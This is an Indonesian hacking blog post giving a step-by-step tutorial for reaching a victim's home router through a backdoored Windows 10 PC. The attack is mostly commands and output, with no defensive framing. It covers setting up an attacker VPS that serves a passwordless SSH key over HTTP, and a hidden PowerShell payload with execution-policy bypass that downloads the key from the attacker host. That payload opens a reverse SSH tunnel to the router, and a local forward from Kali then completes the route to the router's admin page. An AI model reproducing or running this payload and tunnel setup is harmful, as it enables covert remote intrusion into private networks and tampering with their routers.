Hello World!

“Flying down a tunnel of 1s and 0s is not how hacking is really done"

“Behind every successful Coder there an even more successful De-coder to understand that code."

“A hacker does for love what others would not do for money"

“A hacker to me is someone creative who does wonderful things"

"Hacking is not a crime, it's a profession till the time you play with it safely "

March 27, 2020

Cara Menggunakan SSH Tunnels Untuk Forward Requests & Hack Remote Routers


Tanpa hak admin, menginstal software tambahan, atau memodifikasi firewall Windows 10, penyerang dapat mengubah router dan melakukan berbagai eksploitasi. Hal ini dicapai dengan meneruskan permintaan dari OS Kali Linux melalui komputer Windows backdoored ke gateway router dengan gate SSH sederhana.

Serangan yang akan  menggunakan keuntungan dari opsi penerusan port SSH -R dan -L untuk membuat koneksi terenkripsi ke dan dari server penyerang. Diagram di bawah ini memberikan gambaran serangan yang disederhanakan.

# Attack Topology

   [Kali/Hacker]
         |
         |
        SSH
         |
        \|/
         '
  [Debian/Server]
         .
        /|\
         |
        SSH         +-->[Raspberry Pi on 192.168.1.2:8080]
         |         /
         |        /
[Windows 10/Proxy]---->[Router/Target on 192.168.1.1:80]
                  \
                   \
                    +-->[Torrent Client on 192.168.1.3:8080]
Koneksi memungkinkan penyerang untuk meneruskan permintaan melalui server pribadi virtual (Debian), dan kemudian melalui Windows 10 PC, akhirnya memberikan akses penyerang ke gateway router. Perangkat dan port lain di jaringan dapat ditargetkan melalui komputer Windows 10, tetapi kita akan fokus pada router. Seorang penyerang dengan akses ke pengaturan router dapat menyebabkan semua jenis kerusakan.

Payload PowerShell dijalankan di Windows 10, memaksanya untuk membuat koneksi SSH ke server penyerang. Selanjutnya meneruskan permintaan dari server melalui Windows 10 ke gateway router. Untuk mengakses port yang diteruskan di Debian VPS, penyerang juga menghubungkan ke server, memungkinkan mereka untuk menggunakannya dan Windows 10 sebagai mekanisme penerusan ganda.

Serangan serupa dapat dilakukan dengan Tor yang memungkinkan akses yang lebih besar ke perangkat dan port di jaringan target. Tetapi saya ingin menemukan solusi penerusan yang tidak melibatkan hak akses admin, perangkat lunak pihak ketiga, membuka portal pada Windows 10, atau memodifikasi firewall apa pun.


Skema ini dapat diatur dengan Kali Linux dan Windows 10 pada jaringan Wi-Fi bersama. Dalam skenario seperti itu, penyerang mungkin mencoba untuk mengakses layanan menggunakan alamat IP Windows 10 untuk memotong penyaringan IP atau whitelist. Namun, ini merupakan kasus yang spesifik dan kurang praktis. Untuk alasan itu, demonstrasi kami akan menggunakan server pribadi virtual, yang memungkinkan penyerang meretas router dari jarak jauh melalui dua sistem dari jaringan apa pun di dunia.

Langkah 1 Konfigurasikan Server Debian


Untuk memulai, SSH ke server pribadi virtual yang digunakan dalam serangan itu sebagai root. Alamat IP server sebagai contoh 11.22.33.44 dalam tutorial ini.

Buat SSH key pair baru dengan perintah ssh-keygen berikut. Saat diminta untuk memasukkan sandi, biarkan kosong dan tekan Enter pada keyboard. Sandi key pair harus kosong agar serangan berfungsi.

Prompt ssh-keygen akan mencoba memberi nama kunci baru "id_rsa" secara default. Ubah ke string acak seperti "ab56ab49226ed8603e9ae41e242d8096" untuk menggagalkan crawler direktori potensial.

~# ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/.ssh/key
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/key.
Your public key has been saved in /root/.ssh/key.pub.
The key fingerprint is:
SHA256:5M9KVJVlW2o2er4MSaW0+5yyFhqhKm51kAfrt/fEnbA root@debian9
The key's randomart image is:
+---[RSA 2048]----+
|            .oo .|
|      .    ... + |
|       +. . . B  |
|      +o.... B . |
|     . oS. .* .  |
|      o.+o.o.O . |
|     . +..ooE.+  |
|    o ....o.o= o |
|   o..  .. ooo*  |
+----[SHA256]-----+

Selanjutnya, ubah ke direktori ~ / .ssh.

~# cd ~/.ssh

Daftar file dalam direktori; harus ada kunci publik (.pub) dan pribadi.

~/.ssh# ls -la

-rw------- 1 root root 1675 Mar  24 05:26 key
-rw-r--r-- 1 root root  391 Mar  24 05:26 key.pub

Salin kunci publik ke file yang disebut "authorized_keys", ini akan memungkinkan klien SSH (mis., Windows 10) dengan kunci pribadi untuk mengautentikasi ke server SSH.

~/.ssh# cp key.pub authorized_keys

Ubah file "sshd_config" untuk menonaktifkan otentikasi kata sandi. Hanya klien dengan kunci pribadi yang dapat mengautentikasi ke server setelah modifikasi. Ini merupakan langkah penting karena otentikasi kata sandi dapat mencegah klien Windows yang diretas untuk mengautentikasi dengan benar.

~/.ssh# nano /etc/ssh/sshd_config

Setel opsi "PasswordAuthentication" dengan pilihan "no," dan batalkan komentar pada baris jika perlu. Simpan dan keluar dari nano dengan menekan Ctrl + x, lalu y, dan Enter.


Sekarang, restart server SSH dengan perintah systemctl

~/.ssh# systemctl restart ssh

Ketika berada di direktori .ssh /, buat file "index.html" kosong untuk mencegah server HTTP berikut dari daftar file dalam direktori.

~/.ssh# touch index.html

Jadikan kunci tersedia untuk internet dengan layar berikut dan perintah python3. Layar akan memungkinkan server HTTP Python3 untuk bertahan lama setelah koneksi SSH ditutup.


~/.ssh# screen python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 ...

Untuk melepaskan dari sesi Layar tanpa menghentikan server Python3, tekan Control-A, lalu D. Setelah itu, keluar dari sesi SSH.

Langkah 2 Menguji Layanan SSH


Untuk memastikan server SSH dikonfigurasi dengan benar, beberapa hal dapat dilakukan.

Di mesin lokal Kali , buka Firefox dan navigasikan ke alamat IP server atau nama domain. Server akan menampilkan halaman kosong karena file index.html kosong yang dibuat pada langkah sebelumnya. Dari URL, unduh tombol /key.



Kemampuan untuk mengunduh kunci berarti PowerShell juga akan dapat menemukannya ketika Invoke-WebRequest dijalankan pada komputer Windows target.

Selanjutnya, buka terminal dan salin kunci ke direktori Kali ~ / .ssh /.

~# cp ~/Downloads/key ~/.ssh/

Klien SSH di Kali secara khusus mengenai izin file kunci. Ubah izin dengan perintah chmod.

~# chmod 0600 ~/.ssh/key

akhirnya, uji kunci dengan mengautentikasi ke server Debian dari Kali. Jika server Debian meminta kata sandi atau menolak kunci, berarti ada yang salah. Kali harus dapat mengautentikasi ke server tanpa diminta sama sekali.

Langkah 3 Jalankan Payload

Payload PowerShell dapat dieksekusi terhadap Windows 10 dalam beberapa cara. Ini akan berguna selama serangan pasca eksploitasi di mana akses jarak jauh ke komputer telah dibuat. Payload Mousejack dan USB Rubber Ducky sangat efektif, tetapi dapat dikonversi menjadi executable (EXE) dan dikirim dengan target.

C:\> powershell -ep bypass /w 1 /C iwr 11.22.33.44/key -OutFile $env:temp\key;ssh -N -i $env:temp\key -R 9999:192.168.1.1:80 -o StrictHostKeyChecking=no root@11.22.33.44 -p 22

PowerShell pertama-tama akan menggunakan perintah Invoke-WebRequest untuk mengunduh /key dari server penyerang dan menyimpannya ke direktori temp. SSH kemudian dipanggil dengan opsi -R, yang meneruskan permintaan yang dibuat ke port 9999 melalui komputer Windows dan ke alamat IP router 192.168.1.1:80 .

Langkah 4 Konfigurasikan Kali untuk Mengakses Router Gateway

Setelah mengeksekusi payload, gunakan netstat pada server Debian untuk menemukan port 9999 terbuka.

~# netstat -lptn

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1220/sshd
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      9999/sshd: root@pts
tcp6       0      0 :::22                   :::*                    LISTEN      1220/sshd
tcp6       0      0 ::1:9999

Sekarang, permintaan yang dikirim ke port 9999 akan diteruskan ke router (192.168.1.1:80). Masalahnya adalah, port 9999 hanya tersedia di alamat loopback Debian (127.0.0.1) - yang tidak dapat diakses dari alamat IP eksternal (mis., Kali). Salah satu solusinya adalah SSH ke server Debian dari Kali dengan opsi -L.

~# ssh -N -L 8888:127.0.0.1:9999 -i ~/.ssh/key root@11.22.33.44

Di Kali, permintaan yang dibuat ke port 8888 diteruskan ke port 9999 di server Debian. Permintaan kemudian segera diteruskan melalui Windows 10 dan, pada akhirnya, ke gateway router. Baik Debian dan Windows 10 bertindak bersama sebagai sistem penerusan yang memungkinkan penyerang di bagian dunia yang berbeda untuk mengakses router.

Itu dapat diverifikasi dengan membuka Firefox di Kali dan menavigasi ke http://127.0.0.1:8888.


Router gateway dapat diakses melalui Windows 10.

I have rich experience in security system & internet security. Also I am journalist for technology and other stuff section. Also i love learning a new language. Feel free to contact me writing an email with your project idea.

0 Comment:

Post a Comment

e
Contact Me

Adress/Street

Kalimantan street, City of Jember Indonesia

Phone number

+(62) 823 3486 3080

Email

ahdeen@bk.ru